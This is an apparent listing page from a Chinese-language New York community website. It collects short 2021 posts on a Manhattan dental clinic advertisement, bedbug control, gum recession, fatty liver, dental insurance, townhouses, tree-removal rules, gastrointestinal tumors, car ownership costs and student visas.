Invisalign隐适美隐形牙套是美国Align Technology(爱齐科技)公司所设计,自1997年问世以来,受到全球消费者喜爱,市占率超过8成,拥有超过900项专利,至今全球超过800万用户使用Invisalign隐适美隐形牙套,用来改善口腔问题,找回自信的笑容。

Invisalign隐适美隐形牙套拥有诸多专利,其材质是用SmartTrack弹性材料制成,并通过美国食品药物管理局(FDA)认证。

纽约牙科诊所「New York Dental Studio」

 

纽约牙科诊所「New York Dental Studio」亮点

  • 纽约牙科诊所「New York Dental Studio」使用Invisalign隐适美隐形牙套,并采用iTero 3D扫描仪,让牙齿矫正疗程更加准确、效果更快速,也更加舒适,帮你把牙齿美容、牙齿矫正一步到位。
  • Dr Brandon Huang黄医师从事牙科行业超过20年,经验相当丰富,技术十分高超,他擅长美容牙科,更是纽约有名的牙齿矫正医师,同时精通各项牙科手术、根管治疗、补牙、拔牙、植牙等。最重要的是,他的中文已熟练到可以和华人病患进行交流、沟通。

  • 纽约牙科诊所「New York Dental Studio」坐落在纽约曼哈顿60街,离地铁站非常近,交通非常便利。
  • 纽约牙科诊所「New York Dental Studio」Google Map评价高达4.8颗星,许多患者反馈:「黄医师是他们遇过最好、最有耐心的牙科医师。」

New York Dental.studio

纽约最好的牙科诊所

电话:(212)588-1809

地址:30 East 60th street,suite 2402 New York,NY 1002

网址:https://www.nydentalstudio.com/chinese

 

纽约牙科New York Dental.studio-曼哈顿最好的牙科诊所/曼哈顿牙科医生/曼哈顿牙医

2021-05-03 / by / in ,
在美国怎么防止臭虫侵扰?清除臭虫的方法

文|雨荷

臭虫(bedbug),又称壁虱、木虱、床虱、扁螂等。臭虫长有一对臭腺能分泌一种异常臭液,有防御天敌和促进交配之用,臭虫爬过的地方可留下难闻的臭味,故名臭虫。

臭虫可以寄生在行李箱,家具,床上用品或衣物上。进入室内后,喜欢藏在床头板后面缝隙中,床垫的接缝以及在箱形弹簧内部,在踢脚板裂缝中以及在墙纸后面。臭虫的存在与清洁程度无关,杂物可以提供良好的藏身之处,并使它们难以治疗。

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臭虫叮咬后皮肤出现红肿,瘙痒等免疫反应症状。臭虫通常每五到十天以吸血液为食,它不吃东西就可以生存一年或更长时间。它们还可以承受从几乎冻结到大约113°F的各种温度。

美国消费者保护机构联邦贸易委员会(FTC)敦促您在购买与臭虫侵扰相关的产品和服务时要谨慎行事。

怎么寻找臭虫和臭虫卵

成年臭虫是椭圆形的,没有翼,并且有生锈的红色。它们具有扁平的身体,触角和小眼睛。用肉眼可见它们,但经常藏在缝隙中。当您清洁、更换床上用品或旅行时,它们可能会出现的其他迹象,例如:

  • 家具上,包括床垫和床垫里面的弹簧或者在织物上流血,大小就像钢笔一样,一片一片的或者一点一点的,暗红色的点,它们是臭虫的粪便。
  • 由于臭虫被压碎而在床单或床垫上生锈或带红色的污渍。
  • 臭虫卵和卵壳,它们很小(约1毫米),呈白色。

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治疗臭虫侵扰

专家们讲害虫很顽固,是害虫里面最难清除的,臭虫侵扰很难控制。尽管如此,臭虫仍可以通过称为综合害虫管理(IPM)的技术进行控制,这是一种对环境敏感的方法,包括预防,监测和有限使用化学农药。实际上,一些臭虫对普通农药产生了抗药性,使某些喷雾剂无效。床上用品,衣服和电子产品绝对不能用农药处理。

自己清理

如果尝试使用农药自己控制臭虫,请选择适合该目的的产品。EPA具有臭虫产品搜索工具,可以帮助您选择需求的产品。

在使用农药之前,请看药物说明。切勿在旨在室外使用的室内使用农药。使用错误的农药或使用不正确使用农药会使您和您的家人生病。还可能使您的房屋不安全。切勿在床褥,沙发和其他软垫家具上或有儿童或宠物的地方喷洒农药。

使用虫子炸弹或烟雾怎样?许多臭虫对这些产品中使用的农药具有抵抗力。此外,这些产品不会碰到所在的缝隙里的臭虫。

聘请专业人士

如果您想聘请专家来完成此工作,请执行以下操作:

  • 确保您家里确实有臭虫而不是其他害虫。
  • 控制臭虫不同于控制其他害虫,一定要请具有臭虫防治经验的专业人员。
  • 与合格的、有执照的害虫管理公司联系。致电您的州有害生物控制管理机构,以获取有关有害生物管理公司状况的信息。在大多数州,监管机构是美国农业部。您还可以通过州总检察长, 当地消费者保护局或互联网搜索引擎查看公司 。
  • 请朋友和邻居推荐他们成功控制臭虫的害虫防治公司,还可以通过社区公告板或社区列表服务器在线进行此操作。
  • 获得多家公司的竞标。询问他们的培训以及控制臭虫的方法。
  • 找出害虫防治公司是否负有责任保险,以承保治疗期间对您的房屋或家具造成的任何损坏。
  • 如果您获得书面的“保证书”,请查找其涵盖范围,持续时间,必须采取哪些措施以使其保持有效状态以及持续进行控制,预防和管理所需的条件。
  • 阅读 EPA的《害虫防治和农药安全公民指南》,其中提供了有关如何选择害虫防治公司的更多提示。 昆虫, 半翅目, 臭虫, Pyrrhocoris, 翅大头粪金龟

防止臭虫侵扰 

控制臭虫的最佳方法是防止臭虫进入您的家。就是这样:

  • 带回家之前,请检查二手家具,床和沙发是否有臭虫滋生的迹象。
  • 将床垫和弹簧盒装在标有“过敏原等级”,“尘螨”或“臭虫”的盖子中。定期检查是否有裂痕或开口,并用胶带将其粘好。
  • 保持家里清洁,减少臭虫的藏身之处。
  • 修复石膏上的裂缝,修复或去除任何松动的墙纸,并拧紧电灯开关盖。
  • 用填缝剂密封踢脚线的缝隙和接缝以及架子或橱柜的缝隙。

旅行时:

1.包装和开箱时,请使用行李架来托住行李箱,而不要将行李放在床上或地板上。

2.上床前检查床垫和床头板。

3.到家后,请直接打开洗衣机包装。洗涤所有显示臭虫污渍的物品,并在最高设置下干燥至少20分钟。烘干机产生的热量杀死虫子及虫卵。

4.检查然后用真空吸尘器清理行李。每次使用后,请清空真空吸尘器或密封圈,然后将其袋装到屋外。

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2021-05-03 / by / in , ,
如何拯救你的牙龈?牙龈萎缩如何补救 牙龈萎缩如何预防 牙龈萎缩的治疗方法
文|无疆行者

牙龈萎缩,指的是牙根部位的牙龈退缩,牙齿的深黄色根部裸露出来,所以牙齿会看起来越来越长。这时牙齿也会变的非常的敏感。

如果再发展下去,周围的牙槽骨和牙龈可能也会受损。所以你除了要清洁好你的牙齿,也要顾好你的牙龈的健康。

什么会造成牙龈萎缩

你的牙齿在健康状态下,牙龈和牙齿有很紧密的连结,它覆盖在牙根表面,具有保护的作用。

造成牙龈萎缩的第一个最常见的原因就是牙周病。牙周病简单来讲就是牙齿上的牙菌斑没有清干净,过一段时间,它就会变成牙结石。久而久之,造成牙菌斑、牙结石的细菌会慢慢的让牙龈发炎。牙龈发炎了以后,就会萎缩,慢慢的和牙齿分开,形成一个缝隙。食物的残渣就会填充进这个缝隙里面,这时候,细菌就会向更深处发展,一直到牙齿下面的牙槽骨。所以牙菌斑到晚期的时候,牙槽骨就会受到侵蚀。这就是牙周病会造成牙齿松动的原因。

第二个造成牙龈萎缩的原因,是刷牙刷的太用力了。这是很多人的通病,建议使用软牙刷代替硬毛牙刷,刷牙时要轻柔。让刷毛而不是手臂的肌肉来做。

造成牙龈萎缩的第三个原因,是晚上睡觉时磨牙或长时间咬牙,支撑牙齿的肌肉一直受到压力,处于紧绷状态,久而久之牙龈组织可能会萎缩。

另外,抽烟也是牙龈萎缩的一个重要原因。根据研究显示,抽烟的人更容易在牙齿上留下难以清除的粘性牙菌斑,无论是局部或是全口的牙龈萎缩、牙周疾病的严重程度,都和抽烟有着密切的关系。

牙龈萎缩怎么办?

牙龈萎缩若是放任不理,可能会导致牙菌斑与牙周病持续堆积,使牙龈萎缩加速、牙齿敏感的症状明显恶化等。深黄色的牙根部过多的裸露也会影响外在美观。

健康的生活方式有助于改善状况。每天刷牙和用牙线清洁牙齿,戒烟、改良不正确或是过度的刷牙习惯、或更换不密合的假牙,都会让牙龈萎缩得到缓解和改善。

从牙医师的专业角度来看,牙龈萎缩不见得是可被治疗,或是需要治疗的,建议还是要请信任的牙医师做完整的评估和诊断,再看看有什么最佳的处置方式。

通常牙龈萎缩的治疗方式可以分为『非手术治疗』与『手术治疗』,牙医师会为患者评估牙龈萎缩状况,若只是轻度细菌感染,牙齿和牙齿间的骨头没有被破坏,是有机会透过牙根覆盖术这类手术方式治疗,让萎缩的牙龈恢复到原来的高度。

另外,如果可以的话,每年应该至少去看两次牙医。越早发现问题,牙医师就越有可能防止状况变得更糟。


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2021-05-03 / by / in , , , ,
如何预防脂肪肝、肝硬化?纽约肝胆肠胃科专家荆彤医生谈肝纤维扫描仪的应用

脂肪肝很常见,不但在中国人中常见,在美国估计有一半的人口都患有脂肪肝。现在脂肪肝出现年轻化的趋势,甚至8~9岁的小孩都有检查出脂肪肝的。这跟人的肥胖有关,70~80%的脂肪肝病人存在体重超标的问题。

脂肪肝的病人一般伴有“三高”:高血糖、高血压、高血脂(胆固醇高)。所谓的脂肪肝就是肝上的脂肪积聚过多。大家知道法国名菜鹅肝,就是人为的把鹅喂成脂肪肝—每天喂给鹅高热量的东西,但不让它活动。这样鹅肝脏取出来是黄黄的,很细腻,实际上就是脂肪肝。

人在肥胖的时候,从外观上看大腹便便,肚子里面很多油,当然有一部分油要到肝上去。不是所有的脂肪肝都对肝有损伤。有一部分人在验血的时候发现肝功能不正常,就说明这个脂肪对肝造成了损伤。我们判断肝功能是否正常是根据检测到的血液中的一些酶的含量。正常的情况下这些酶都存在于肝细胞中,血液中的含量很少。肝如果受到破坏,肝细胞死掉了,这些酶就释放到血液里,验血时这些酶的含量要高。

肝细胞损伤后,因为它有很强的再生能力,会新长出来一个肝细胞,原来的细胞会形成一个瘢痕。时间久了,瘢痕多了就会形成肝硬化。肝硬化之后,肝癌的风险就很高了。

 

 

 

当今世界肥胖率越来越高,建议大家控制饮食,多锻炼。另外要定期去做体检,才能有效预防脂肪肝、肝硬化。

肝纤维扫描仪(Fiber Scan)是一种肝脏检查的先进仪器。在这种仪器出来以前,常用的检查方法是肝穿刺,又叫肝活检。肝穿刺是用一根比较粗的长针插入肝内,提取一块肝脏组织,在显微镜下做切片。肝活检对人有侵入性,而且有风险,一般的人都不太容易接受这种检查。肝纤维扫描仪对接受检查的人没有创伤,只要空腹3个小时就可以进行这种检查,而且准确度能达到肝活检的水平。

肝纤维扫描仪能准确观察到肝的脂肪含量有多少、肝上有多大损伤以及肝硬化的程度。掌握了这些数据之后,医生就会根据这些数据给病人一些指导,看下一步需要做什么。

2021-05-03 / by / in
在美国纽约看牙医 | 流程 保险 费用指南

在纽约的华人可能都知道要买医疗保险,却不一定有牙医保险。而且很多人都没有定期看牙医的习惯。等到发现牙齿有问题时,再去找牙医,发现在纽约看牙医很贵。在纽约牙医保险是需要单独申请的。有牙医保险后,定期做好牙齿检查,一些小问题可以马上处理,这样省事又省钱。

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牙医保险Dental Insurance

如果你需要多次看牙,或者就医治疗,最好在纽约有牙医保险。比如,一次普通的洗牙需要上百美元,一年两次的普通洗牙就会花费两三百美元以上。若购买了保险,常规的检查和定期洗牙一般都是免费,若需要补牙、根管治疗、牙周炎治疗等,保险也会帮你支付。无论怎样,都肯定比自己直接花钱去治牙要划算的多。所以在美国拥有牙医保险和拥有医疗保险一样重要。

美国的牙医保险报销分为四个等级类别(Class of Services

类别I , 预防治疗 (Class I Preventive)项目:多数牙医保险报销80%~100%,好的保险可以报销100%而且免自付额(deductible),一般包括以下项目:

  • 口腔检查(Exam)
  • 全口X光片(Full-Mouth X-Rays),通常限每年报销1次
  • 普通洗牙(Routine Cleanings/Prophylaxis),通常限每年报销2次

类别 II,基础治疗(Class II Basic)项目:多数牙医保险报销70%~80%,可能会有6个月以上的等待期(waiting period),好保险能报销80%以上,治疗项目包括:

  • 补牙(Restorative Fillings)
  • 简单拔牙(Extraction)

类别 III,大型护理 (Class III Major)项目:大多数牙医保险只报销50%或以下,而且很可能会有12个月以上的等待期(waiting period),部分项目甚至不报销,治疗项目包括:

  • 复杂的口腔手术(Complex Oral Surgery)
  • 假牙冠、烤瓷牙(Crown)
  • 牙桥(Bridge)
  • 假牙(Denture)
  • 植牙(Implant)

类别 IV,牙齿矫正 (Class IV Orthodontia)项目:这类报销通常跟上面三类项目的报销分开计算,有终生报销上限(Lifetime Maximum),有别于年度报销上限,且通常仅限19岁以下。治疗项目包括:

  • 牙套(Braces)

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哪些费用牙医保险不报销

通常美容牙科(Cosmetic Dentistry)项目不在牙医保险报销范围内,因为这些项目并非医疗必须(Medically Necessary),比如:

  • 牙齿贴面(Porcelain Veneers)
  • 隐适美(Invisalign)
  • 牙齿粘接(Bonding),如果属于修复性质的话可能会报销

牙医保险费用

据统计,美国牙医保险费用平均每人每年约360 美元,也就是每个月个人牙医保险费用一般为30美元,一个家庭(4口人为例),平均每月牙医保险费用约为120美元。

牙医保险基本概念:

搞清楚以下牙医保险的基本概念,对您选择合适的保险也许会有帮助:

自付额Deductible: 保险公司为你支付费用之前,看牙医每年自己先要花费的金额范围。比如,有的牙医保险中规定个人牙医保险每年自付额是50美元,家庭牙医保险一年的自付额是150美元。

共保额Co-insurance: 在自付额满了之后,但还未达到年度个人最高应付额之前,每次看病个人要付的一个百分比,比如保险计划是20%的Coinsurance,需要支付医生账单的20%,保险公司会支付账单的80%。

保险每年封顶额度Maximum Annual Benefit: 牙保险公司对投保人医疗费用每年的最高支付额。

等候期Waiting Period: 保险公司介入一些牙保险时,申请者可以开始使用保险的日期,比如要等6个月以后。这段时间内产生的牙医费用只能自己支付。

网络内保健单位In-network provider:医疗保险公司网路里的加盟医生、医院和药房。这些加盟的医生和医院和保险公司通常有协议或合同,会按保险公司的要求收费。

非网络内保健单位Out-of-network provider:保险公司网路外的医疗机构。指那些未就服务、收费等事宜和保险公司达成协议的医生和医院。选择网络外的医疗保险费用就比较贵,自费比例也会高。

在纽约地区,可以选择的牙医保险计划有很多,大家可以根据自己的牙齿情况来定。比如,有的小伙伴仅需要做定期的牙齿检查和洗牙,而有的人可能需要拍片检查,或者需要做烤瓷牙和植牙等。所以大家可以根据自己的需要购买相应的牙保险。

提醒大家的是,在看牙医之前,一定要看你的牙保险是否在网路(network)里,计划(plan)是否是医疗保险公司网路里的加盟医生、医院和药房等。还要注意的是一定要核对清楚等待期(waiting period)。

牙科折扣计划Discount Dental Plans

除了牙科保险,也有另外一种牙科折扣计划可选择。它不是保险,不提供费用报销,也不提供免费服务,而是参与折扣计划的牙医同意降低服务收费标准(通常在5-9折间),因此患者能直接享有较低的折扣价格。 

看牙医步骤

首先,要搞懂美国看牙医的一些特别规定,比如:

按年龄分:有成人、16岁以下的孩童、65岁以上的老人三种。

从专业上分:有普通牙科和专科牙科之分。而专科牙科又有牙周、牙髓、矫正以及口腔外科等分类。

所以在纽约看牙,先要去保险计划中指定的牙科医生看诊,这个牙医一般都是普通牙医。如果普通牙医治不了,就会开出转诊单(referral),电话联络预约专科牙医。

这里需要提醒的是,到专科牙科诊所时,一定要确认自己的保险申请已被保险公司通过,保险公司才会按约偿付保费。

第一次看牙医的流程

下面我们简单介绍一下第一次看牙医的流程:

第一步,预约牙医

登录牙医保险网站,查找有哪些保险计划指定的牙科医生,可以选择住家附近或口碑较好的牙医。然后,就可以打电话预约了。

第二步,初次看牙医

按照预约时间前往牙科诊所。第一次去看牙医,到诊所后需要填写一份关于个人病史及一些和牙齿口腔相关的病历相关问券,比如以前有没有过龋齿?是否拔过牙?是否药物过敏等问题。这样主治医生对你的牙齿状况有一个初步了解。这里需要提醒的是,请记得带好保险卡,并提前一点时间到达,给自己预留填表时间。

第一次看牙要先拍全口X光片,这样牙医可以全面了解你的口腔齿列、牙龈、牙骨、有无细菌感染等状况。

你的主治牙医会有你的全套治疗记录,可以全面了解和追踪您的口腔健康变化,需要转诊的时候转给专科医生作为参考。

第三步 讨论治疗方案

牙医会根据您的口腔情况做详细检查与诊断,并针对发现的问题提出建议治疗方式。很可能第一次做牙齿检查时,牙医便发现有蛀牙,这样也是为了早发现、早治疗。

若是由于牙痛第一次去看牙,一般情况下都会需要预约下一次复诊。假如情况比较复杂的,则会转诊到专科牙医,然后电话预约专科牙医。

这个时候,您可以请诊所先预算一下治疗的费用供您参考。

想拥有一口健康美白的牙齿,须本人和牙医共同努力。在纽约有很多专业牙医师,可以帮您及早发现蛀牙和其它口腔问题。因此不要害怕牙医、洗牙和看牙。在纽约的华人朋友,如果需要牙医保险或治疗牙齿,可以资讯专业牙医师,根据您的个人状况和家庭情况,选择自己合适的牙医保险和牙医医生。

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2021-05-03 / by / in , ,
纽约房型:纽约联排房一次看全看懂|纽约房源超珍稀|纽约地产的艺术品

文|地产小尖兵

纽约联排别墅(Townhouse)是纽约富裕阶层的典型象征,在电影中我们经常看到男主角、女主角倚靠在联排别墅的门栏上耳语,外头下着细雨,好不浪漫!所以这是纽约不得不说的第一种房型。

纽约联排(Townhouse),每一户都是相连的独立房屋,虽然通常没有前院,或是前院很小,但是可能会有一个较大的后院。房地产的产权上是百分之百屋主拥有,有房有地,不像公寓房型的土地是所有屋主通同拥有,所以也称为共管公寓。

纽约联排别墅最精华地段

纽约联排房街景。

纽约联排别墅最精华也最多的地方——上东城(Upper East),这里是纽约较早发展的区域,住在那里的人很多被称之为old money,是纽约早期最有钱人家的生活区,当然现在也是许多富人聚集的地方。这里生活机能不用说,学区还是最好的,不管公立、私立都有优秀的资源。其实纽约联排别墅在上西城(Upper West)、中城(Midtown)、Chelsea、Gramercy、West Village等也都有散落,而曼哈顿以外,在布鲁克林也有一些。

联排别墅经典归经典,但是在纽约的房源数量并不多,成交量只占纽约房市的2%,可算是相当珍稀

纽约联排别墅是纽约地产的经典象征。

因为联排的产权是独立拥有,因此纽约联排房比公寓相对有更好的隐私、独立出入口,所以对名人、明星、富人来说是更好的选择,他们也不惜砸下重金购买。例如歌手麦当娜就曾以四千多万买下三栋联排别墅,并打通作为长住;中国地产大亨潘石屹在上东城也有一栋纯白色的联排房。

纽约联排别墅为何珍贵?

而且这些联排别墅也相当难兴建,比如上东城的联排都是上世纪初建成的,即便现在要兴建的话,成本也相当高昂。另外,这些联排别墅也都受到纽约市的地标建筑保护法的保护,不能拆也不能重建。量少价贵,当前上市中最高价的要6000万美元(10房15卫),便宜的也要318.5万(4房4卫)(资料来源:Zillow网站)。

就如上面说的,纽约联排房的历史悠久,所以装潢都较为老旧,但屋主可以自行改造,甚至在顶楼加设泳池、空中花园。较特别的是有些联排内部还有电梯,样式非常古典,可能要手动操作电梯。所以综上所述,一栋保养得宜、经过翻修的联排别墅,可以说是纽约房地产的艺术品

判别纽约联排身价的指标

以建材来说,纽约联排常使用石灰石、大理石、红砖三种材料兴建,其中石灰岩为主体的联排房通城面积、气势都比较大,所以也最贵,年代也最早;大理石看起来很尊贵,但有时是局部的建材,年代中间;红砖是比较近代兴建的。

衡量纽约联排房的价格贵与便宜,除了建材,最首要的指标是「面宽」,一般来说联排的面宽15~20英尺是基本尺寸,25~30英尺就属于豪贵等级。如果在一楼看到一两扇窗户,那大概比较便宜,能看到三扇窗户以上,那就是身价不凡了。面宽大代表内部空间大、更有太阳照射、比较通风。如果面宽太小,可能会影响往后的增值空间。

买纽约联排房还要注意哪些?与公寓的差异性

买纽约联排房还有一个要考量的,是要单户居住,还是多户居住?单户就是一户人家,多户的话就可以给其他家人使用,或是出租出去,他们会有独立的厨房、出入口,成为一个小型公寓的概念。如何知道这个联排是单户或多户居住?这要查看所谓的入住证明(Certificate of Occupancy)来确认。纽约在单户居住、多户居住是有明确规定的,住户不能随意增加家庭户数。

另一个考量点是基础设施有没有被升级,例如水管、电线、屋顶、地板等等。尤其水管、电线最好是近代的标准,否则使用起来就会比较辛苦了。

纽约公寓楼。

要说纽约联排与纽约公寓的不同,最大的区别应该是产权、价位。联排的产权完全是独立的,屋主对房屋拥有最大的使用权,装修(内部可大修、外部需要保留)、出租都比较没有限制;公寓则要受限于大楼管理会的规定,尤其合作公寓(Co-op)更是严格,共管公寓(Condo)相对较为容易,因此大多数人都会选择共管公寓(Condo),这也是投资纽约地产最广泛的房型。再者,公寓都有物业管理费要交,联排则没有。

价格方面,纽约联排的起步价就是好几百万,公寓就有很多价位等级,从几十万到上千万都有;从另一面来说,联排因为昂贵所以更有价格谈判的空间,因为买家数量可能也很有限,通常是富裕、上流人士。

纽约联排与独立房的区别

纽约皇后区的独立房。

在纽约你也能很少量的看到独立房(Single Family House)的房产,尤其在曼哈顿更是稀有,但它们的外观可能看起来跟联排没有什么区别,有时要分辨的话,就要看土地分区(Zoning District)属于哪一种,独立房被归为R1、R2、R3、R4(数字越大密度越大),联排房则被归为R5这一类,R6到R10就属更高密度的公寓、大楼一类。 (资料来源:纽约城市规划局)这里也要注意一个重点,您所买的房产能否加建、改建,就要看具体土地分区是属于哪一类别,再去考量执行的可能性。

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2021-05-03 / by / in , , , , ,
在纽约砍树要慎重 不然面临罚款 坐牢 纽约市关于树木清除的法律

文|雨荷

在纽约这个人口超过800万人的城市中,人们的住所几乎不够,更不用说树木了,市长迈克尔布隆伯格(Michael Bloomberg)宣布了一项计划,要在这座城市种一百万棵新树。

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在美国树是受保护的,对于屋主、业主来说,想砍伐树木之前,要了解清楚有关法规,不然就会触犯法律。如果想将自己院子里的树木砍伐,就要特别注意,不能盲目行事。

按照纽约法律规定,居民未经许可自行砍伐树木是违法的,但是纽约市公园和游乐部已使请求砍伐树木变得简单。纽约树木条例是一套规章制度,旨在保护纽约市树木免受日常增长的人口侵害。该市渴望确保城市树木与城市居民之间的平衡。

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砍伐树木 示意图。

纽约奥尔巴尼( Albany)关于砍树的规则

树干周长6.5英尺(约2米)以上的树,即便属于私人财产,如果没有许可证也不允许砍伐。对于那些威胁公众安全的树木,通知业主30天后,如果没有移除,那么工作人员有权进入私人庭院将其清除。

未获得许可不能移除某些树木

纽约的大多数居民都不知道砍伐树木的要求。如果有人非法砍伐树木,将处以罚款,甚至坐牢。

要在线进行此操作,您需要在纽约市公园与游乐部网站gis.nyc.gov/parks/forms上提交林业服务请求。如果您在纽约市,也可以拨打311。在城市外,您可以拨打212-NEW-YORK。

纽约市未经授权清除树木的处罚是什么?

建议居民在没有公园和娱乐部门许可的情况下,不要在公共树木上进行任何修剪或修剪活动。这包括在私人住宅前生长的路边树木,包括围绕树木的50英尺。如果违反该规定,将被视为轻罪,可处以15,000美元的罚款,一年的监禁或两者兼而有之。

 

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居民在砍树 示意图。

纽约市的树桩清除过程

居民向公园和游乐部报告,指出树桩在城市公共空间中的位置。该部将根据可用于此类任务的资金额做出响应。

对于私人财产的树桩,业主应监督并负担所有费用。业主可以书面要求支付服务费,并可以要求城市拆除或监督拆除树桩。

谁可以在纽约市申请砍树许可证?

树木清除表格适用于所有居民,并且可以通过访问公园和娱乐部的网站来访问该表格。对于那些为什么要移除树木的理由令人满意的人,将获得许可。

纽约市下面情况下可以清除公共树木

• 如果树快死了或已经死了。

• 如果大树枝或树枝从树上掉下来。

• 当树木倾斜,连根拔起或倒下时。

• 如果树的树干被劈开了。

• 当树木状况不佳时。

2021-05-02 / by / in , ,
舒适隐形牙套价格费用特大优惠,纽约曼哈顿牙齿美容/牙齿矫正专家/顶尖美容修复牙科诊所推荐

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2021-05-02 / by / in ,
什么是肠胃道基质瘤/间质瘤?纽约肠胃科专家荆彤医生为您讲解

肠胃道基质瘤并不多见。在肠胃道的内壁(接触食物的这一边)和外壁之间有一个肌肉层,肠胃道的收缩和舒张就是靠这些肌肉控制的。这些肌肉是平滑肌,产生的瘤子就是基质瘤(也叫间质瘤)。

大家可能都听说过子宫肌瘤,就是子宫壁上的肌肉产生的肿瘤。这种瘤子长在子宫上叫子宫肌瘤,长在消化道上叫肠胃道间质瘤。这种瘤子早期不容易被发现,病人也没有感觉,做胃镜也看不到。只有长到比较大了,突出出来了,才能被发现到。

这种肿瘤的危害是,如果长得比较大的时候,会压迫从那里经过的血管,造成大出血。另外,这种瘤子长的时间久了能够恶变,恶变之后还能转移。所以一旦发现了这种大型间质瘤要尽早把它切除掉。现在肠胃道间质瘤的切除技术已经很成熟了。

一般小的间质瘤(1~2厘米)的不太容易恶变。如果超过5厘米的间质瘤恶变的可能性就比较大了,建议发现后立即切除掉。现在切除肠胃道基质流可以用微创手术来实现。

2021-05-02 / by / in
纽约养车 有3个问题你不能不了解!

文|雨荷

美国是著名的车轮上的国家,纽约是美国人口最多的城市,也是世界最大的城市之一,是对全球的经济、商业、金融、媒体、政治、教育和娱乐具有极大影响力的国际大都会。

据报道,纽约市的一项最新统计显示,养车的费用逐年增加,越来越多的纽约客只好选择不再开车。根据克莱恩商业周刊的这份报告,从2000年至2003年,市民汽车拥有量下降了5%,在有11万华人居住的布碌仑区,有越来越多的开车者不想拥有车子,与美国其他地区相比,纽约的家庭汽车拥有量非常低。仅有45%的家庭拥有汽车。而纽约的曼哈顿作为美国人口密度最大的区,也是美国家庭汽车拥有率最低的区,仅有大约22%的家庭拥有汽车。

纽约是美国人口最多的城市,纽约养车难不难?。

那到底是什么原因 导致纽约人如此不爱买车呢?

一是纽约停车费的问题。与其他地区相比,在纽约拥有一辆汽车的最大障碍是高昂的停车费。如果想在曼哈顿买一套带独立停车位的公寓,那么房费最终价格可能会上涨6万至15万美元。而在大多数有车库的大楼里租一个停车位,租金从100美元到1000美元不等(约为700元-7000元人民币),取决于社区的情况。纽约市停车场管理局的报告显示,纽约市每月的平均停车费约为430美元。除了费用高外,纽约市的停车位严重不足,导致驾驶者在城市里开车找停车位成了一件很痛苦的事情,有钱也没地停的情况极为常见。

在纽约,乱停车的罚款从几十美元到150美元不等。接到罚款单后,司机要在一个星期内将支票寄给纽约市交通部门。司机如果不服气可以向法院提起诉讼,胜诉者可减轻或者免掉处罚。纽约市近年来因为乱停车引发的官司非常多,也有不少司机获得减免。

纽约市街道上随处可见的消火栓旁边是停车的绝对禁区,停车者将会遭受重罚。公共汽车站前当然也不允许其他车辆停靠。此外,纽约市的每条街道都有规划统一的停车标志,标明停车规定,如允许停泊车辆的类型、时间段以及平日和周末可分别停泊什么类型的车辆。牌子上写着,有的地方只允许当地小区居民的车辆停泊,有些地方某些日子不让使用,不仔细看、停错了地方,很可能要被罚款。在一些交通繁忙的商务区,规定就更加细致。

纽约停车费很貴,而且罚款高,不仔细看、停错了地方,很可能要被罚款。

二是保险的问题。纽约汽车保险在很贵。纽约汽车保险费平均为每年1582美元,比美国全国平均水平高出近11%。保险公司会使用地域评级。而在纽约布朗克斯区和布鲁克林区等区域停车,被保险公司判定为比其他地区更容易产生盗窃、交通事故和车损索赔,因此保费也就居高不下。此外,纽约汽车保险费用的计算也和驾驶员的年龄和持有驾照的年份直接“挂钩”,也就是说,越年轻的驾驶员往往面临越贵的保费。

三是纽约交通拥堵的问题。纽约交通拥堵排名世界第三,仅次于洛杉矶和莫斯科。有报告称,在曼哈顿中城,汽车的平均速度是每小时4.7英里,仅仅比走路快一点点。纽约市政府也想过一些手段来控制交通拥堵问题,美国纽约州议会通过的新年度财政预算案中在曼哈顿繁忙路段征收“塞车费”,以改善交通拥堵问题,如果开始征收拥堵费,可以预见的是,这笔费用一旦开始征收,愿意掏钱买车的纽约人会更少。预计纽约“塞车费”在2021年开始,纽约市将成为全美第1个开征收「塞车费」的城市。

纽约市政府计画在在曼哈顿繁忙路段,例如对曼哈顿60街以南(即​​中央公园以南)城区的车辆征收塞车费,但之前川普政府并不愿意批准者项计画,不过现任的拜登政府正在让计画实现当中。

由于养车太难,买车的人越来越少,据纽约多家车行介绍,进入2005年以来,新车的销售量明显不如往年。当然,也有很多在纽约生活的人表示,拥有一辆汽车确实能为生活带来不少便利。 私家车可以使更远的地方购物变得更容易,尤其是在购买大件物品时。更重要的是,可以随时随地离开都市,而不用考虑公共交通时间和换乘问题,这种优势在有小孩子的家庭尤为明显。

2021-05-02 / by / in , , , , , , , ,
什么是锯齿状肠息肉?为什么说它是“隐形杀手” 纽约肠胃科专家荆彤医生为您解答

做肠镜的时候我们经常会发现一些息肉。比较常见的叫腺瘤,腺性息肉。这种息肉最初都是良性的息肉,如果继续发展会有20%演变成肠癌。新发现的一种息肉叫锯齿状息肉,它演变成肠癌的风险就更高。锯齿状息肉的英文名是Serrated adenoma。这种息肉结构上比较特殊,而且在做肠镜时发现,这种息肉容易长在右边(靠近盲肠的一侧)。

锯齿状息肉结构比较扁平,上边很平,根部很宽。在做肠镜检查时不太容易发现,尤其是当清肠清得不干净时,很容易被残留的粪便残渣或液体粪便盖住。所以在我给病人做肠镜检查时,到了右边我会看的更仔细。(右边发现的息肉癌变的可能性更大)

对于发现了锯齿状腺瘤的病人,做肠镜的周期要缩短。一般我会让病人一年后再回来做个肠镜检查看一下。

2021-05-02 / by / in
持美国F1和M1学生签证,7月2日起允许入境 拜登政府恢复中国学生签证处理

对中国留学生来讲,这是一个令人振奋的好消息。从下周二,5月4日起,美国驻华使领馆将恢复对中国学生的签证预约处理。

中国希望赴美留学的学生,可以在课程开始前的120天申请签证。

但是,美国政府自2020年6月1日开始实施的,暂停和限制颁发跟中共发展军事相关的F和J签证。这一限制政策继续有效。

具体的暂停和禁止入境规定包括:那些接受执行或支持中国(中共)“军民融合战略”实体资助,或目前受雇于这些实体,或在这些实体学习或从事研究的中国公民,美国将拒绝他们通过F或J签证进入美国学习或在美国从事研究。

美国国务院表示,现在在中国境内的学生赴美,申请就读于2021年8月1日之后开始的课程,不受相关的旅行限制。如果符合其它的条件,这些学生可被签发签证。

美国国务院还表示,获得有效签证的学生,可以直接从中国飞往美国,无须在第三国停留至少14天后再进入美国。他们将被允许在课程开始前30天进入美国,因此今年最早的入境日期是7月2日。

(责任编辑:无疆行者)

2021-05-01 / by / in , , , , ,
为什么食道癌被称为“沉默的杀手”?听纽约肠胃科专家荆彤医生怎么说

食道癌晚期的死亡率很高,早期又没有症状,因此被成为“沉默的杀手”。

